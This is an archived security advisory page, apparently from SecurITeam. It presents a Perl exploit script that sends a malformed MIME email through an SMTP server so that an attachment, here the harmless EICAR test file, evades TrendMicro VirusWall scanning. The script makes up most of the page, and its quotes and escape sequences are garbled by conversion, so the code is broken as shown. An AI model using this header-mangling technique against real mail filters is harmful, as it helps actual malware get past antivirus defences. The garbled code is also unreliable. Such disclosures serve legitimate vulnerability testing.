‘TrendMicro’s VirusWall Space Gap (Exploit)’

Summary

‘As we reported in our previous article: TrendMicro’s VirusWall Space Gap (Virus Protection Bypassing), a security vulnerability in TrendMicro’s VirusWall allows remote attackers to bypass its defense and insert a malicious virus though the VirusWall. The following is an exploit code that can be used to test for this vulnerability.’

Credit:

‘The information has been provided by SecurITeam Experts.’


Details

Exploit:
#!/usr/bin/perl

# The following code generates a malformed email with an EICAR attachment (False Virus).
# The vulnerability has been found to be present in TrendMicro’s VirusWall, and has been now patched.
# Refer to http://solutionbank.antivirus.com/solutions/solutionsearch.asp solution ID 11948
#
# BeyondSecurity’s SecurITeam, Copyrighted Material, for Testing Purposes only. For more information see:
# https://securiteam.com/securitynews/5KP000A7QE.html

use Getopt::Std;
use IO::Socket::INET;

getopt(‘tfhvsb’);

if (!$opt_f || !$opt_t || !$opt_h)
{
  print ‘Usage: malformed_email.pl <-t to> <-f from> <-h smtphost> [-v variant] [-s subject] [-b text]nVariants:n(1) Content-Typen(2) Content Transfer Encodingn(3) Boundary Space (trailing)n(4) Boundary Space (prefix)n’;
  exit;
}
$sock = IO::Socket::INET->new(PeerAddr => ‘$opt_h’,PeerPort => ’25’, Proto => ‘tcp’);
unless (<$sock> =~ ‘220’) { die ‘Not a SMTP Server?’ }
print $sock ‘HELO yourn’;
unless (<$sock> =~ ‘250’) { die ‘HELO failed’ }
print $sock ‘MAIL FROM:<$opt_f>rn’;
unless (<$sock> =~ ‘250’) { die ‘MAIL FROM failed’ }
print $sock ‘RCPT TO:<$opt_t>rn’;
unless (<$sock> =~ ‘250’) { die ‘RCPT TO failed’ }
print $sock ‘DATArn’;
unless (<$sock> =~ ‘354’) { die ‘DATA failed’ }

if ($opt_v eq ‘1’)
{
 $content_type = ‘Content-Type :’;
}
else
{
 $content_type = ‘Content-Type:’;
}

if ($opt_v eq ‘2’)
{
 $content_transfer_encoding = ‘Content-Transfer-Encoding :’;
}
else
{
 $content_transfer_encoding = ‘Content-Transfer-Encoding:’;
}

if ($opt_v eq ‘3’)
{
 $boundary = ‘boundary=—-=_NextPart_000_000E_01C2100B.F369D840 ‘;
}
else
{
 if ($opt_v eq ‘4’)
 {
  $boundary = ‘boundary= —-=_NextPart_000_000E_01C2100B.F369D840’;
 }
 else
 {
  $boundary = ‘boundary=’—-=_NextPart_000_000E_01C2100B.F369D840”;
 }
}

print $sock <<EOF;
From: $opt_f
To: $opt_t
Subject: $opt_s
MIME-Version: 1.0
$content_type multipart/mixed;
  $boundary
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300

This is a multi-part message in MIME format.

——=_NextPart_000_000E_01C2100B.F369D840
Content-Type: text/plain;
  charset=’iso-8859-1′
Content-Transfer-Encoding: 7bit

$opt_b

——=_NextPart_000_000E_01C2100B.F369D840
$content_type application/x-zip-compressed;
  name=’eicar_com.zip’
$content_transfer_encoding base64
Content-Disposition: attachment;
  filename=’eicar_com.zip’

UEsDBAoAAAAAAOCYuCg8z1FoRAAAAEQAAAAJAAAAZWljYXIuY29tWDVPIVAlQEFQWzRcUFpYNTQo
UF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCpQSwECFAAK
AAAAAADgmLgoPM9RaEQAAABEAAAACQAAAAAAAAABACAA/4EAAAAAZWljYXIuY29tUEsFBgAAAAAB
AAEANwAAAGsAAAAAAA==
——=_NextPart_000_000E_01C2100B.F369D840–

.

EOF

print ‘Finished sending datan’;
print ‘Variant #$opt_vn’;

$a = <$sock>;
print ‘$an’;

close($sock);’

Categories: Exploits